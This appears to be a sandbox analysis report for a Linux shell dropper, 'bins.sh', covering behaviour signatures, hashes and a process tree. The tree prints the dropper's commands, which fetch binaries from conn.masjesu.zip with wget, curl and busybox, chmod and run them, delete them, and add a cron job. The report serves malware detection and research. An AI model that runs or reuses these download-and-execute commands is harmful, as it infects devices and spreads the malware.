Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

3

bins.sh

debian-9-armhf

7

bins.sh

debian-9-mips

7

bins.sh

debian-9-mipsel

9

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    17/11/2024, 03:02

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241117-djfefaynet
  • SHA256 5ab44ebc3b4abc98bbda6ca2054ad10ba1a7c4556728fa4c111c79fa1628e6c1
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1976) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 12 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:692
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:694
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:696
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:719
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:723
        • /bin/chmod
          chmod 777 5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
          2⤵
          • File and Directory Permissions Modification
          PID:724
        • /tmp/5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
          ./5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
          2⤵
          • Executes dropped EXE
          PID:725
        • /bin/rm
          rm 5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
          2⤵
            PID:727
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:728
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:729
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:731
          • /bin/chmod
            chmod 777 YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt
            2⤵
            • File and Directory Permissions Modification
            PID:732
          • /tmp/YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt
            ./YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt
            2⤵
            • Executes dropped EXE
            PID:733
          • /bin/rm
            rm YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt
            2⤵
              PID:735
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/CG0ldbbAsQU0MW9OkSwrxMr3i3hCxMCoNs
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:736
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/CG0ldbbAsQU0MW9OkSwrxMr3i3hCxMCoNs
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:743
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/CG0ldbbAsQU0MW9OkSwrxMr3i3hCxMCoNs
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:755
            • /bin/chmod
              chmod 777 CG0ldbbAsQU0MW9OkSwrxMr3i3hCxMCoNs
              2⤵
              • File and Directory Permissions Modification
              PID:762
            • /tmp/CG0ldbbAsQU0MW9OkSwrxMr3i3hCxMCoNs
              ./CG0ldbbAsQU0MW9OkSwrxMr3i3hCxMCoNs
              2⤵
              • Executes dropped EXE
              PID:763
            • /bin/rm
              rm CG0ldbbAsQU0MW9OkSwrxMr3i3hCxMCoNs
              2⤵
                PID:766
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/wqzwsu3YrDuLqTvO5CCnAre08is1DymT20
                2⤵
                • Writes file to tmp directory
                PID:768
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/wqzwsu3YrDuLqTvO5CCnAre08is1DymT20
                2⤵
                • Writes file to tmp directory
                PID:777
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/wqzwsu3YrDuLqTvO5CCnAre08is1DymT20
                2⤵
                • Writes file to tmp directory
                PID:788
              • /bin/chmod
                chmod 777 wqzwsu3YrDuLqTvO5CCnAre08is1DymT20
                2⤵
                • File and Directory Permissions Modification
                PID:791
              • /tmp/wqzwsu3YrDuLqTvO5CCnAre08is1DymT20
                ./wqzwsu3YrDuLqTvO5CCnAre08is1DymT20
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:793
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:795
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:796
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:797
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:798
                    • /bin/rm
                      rm wqzwsu3YrDuLqTvO5CCnAre08is1DymT20
                      2⤵
                        PID:801
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/auRj7EcNo6sgt2qi6UfHk08PQ5knoPJ2ZQ
                        2⤵
                        • System Network Configuration Discovery
                        PID:884
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/auRj7EcNo6sgt2qi6UfHk08PQ5knoPJ2ZQ
                        2⤵
                        • System Network Configuration Discovery
                        PID:885
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/auRj7EcNo6sgt2qi6UfHk08PQ5knoPJ2ZQ
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:886

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
                          • Path /tmp/5PZlIvpRwdmwa0osdjd2u06S6GFOOP3MQM
                          • Size 112KB
                          • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          CG0ldbbAsQU0MW9OkSwrxMr3i3hCxMCoNs
                          • Path /tmp/CG0ldbbAsQU0MW9OkSwrxMr3i3hCxMCoNs
                          • Size 122KB
                          • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt
                          • Path /tmp/YjJcGk0XB0ziXrUM17RwhPNnTFbhZHULJt
                          • Size 127KB
                          • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          auRj7EcNo6sgt2qi6UfHk08PQ5knoPJ2ZQ
                          • Path /tmp/auRj7EcNo6sgt2qi6UfHk08PQ5knoPJ2ZQ
                          • Size 31KB
                          • SHA256 892fea48c457babc6e70558c7132265d2f37dbb55ed1026b7fdabd101fb3856c
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          wqzwsu3YrDuLqTvO5CCnAre08is1DymT20
                          • Path /tmp/wqzwsu3YrDuLqTvO5CCnAre08is1DymT20
                          • Size 151KB
                          • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          tmp.E8oHHz
                          • Path /var/spool/cron/crontabs/tmp.E8oHHz
                          • Size 210B
                          • SHA256 324ce86a5ff3b95d346428c21cfcb570a2cd3e99876b8ac970d2ef99acd37a27
                          • MD5 SHA1 SHA512
                          Submit Download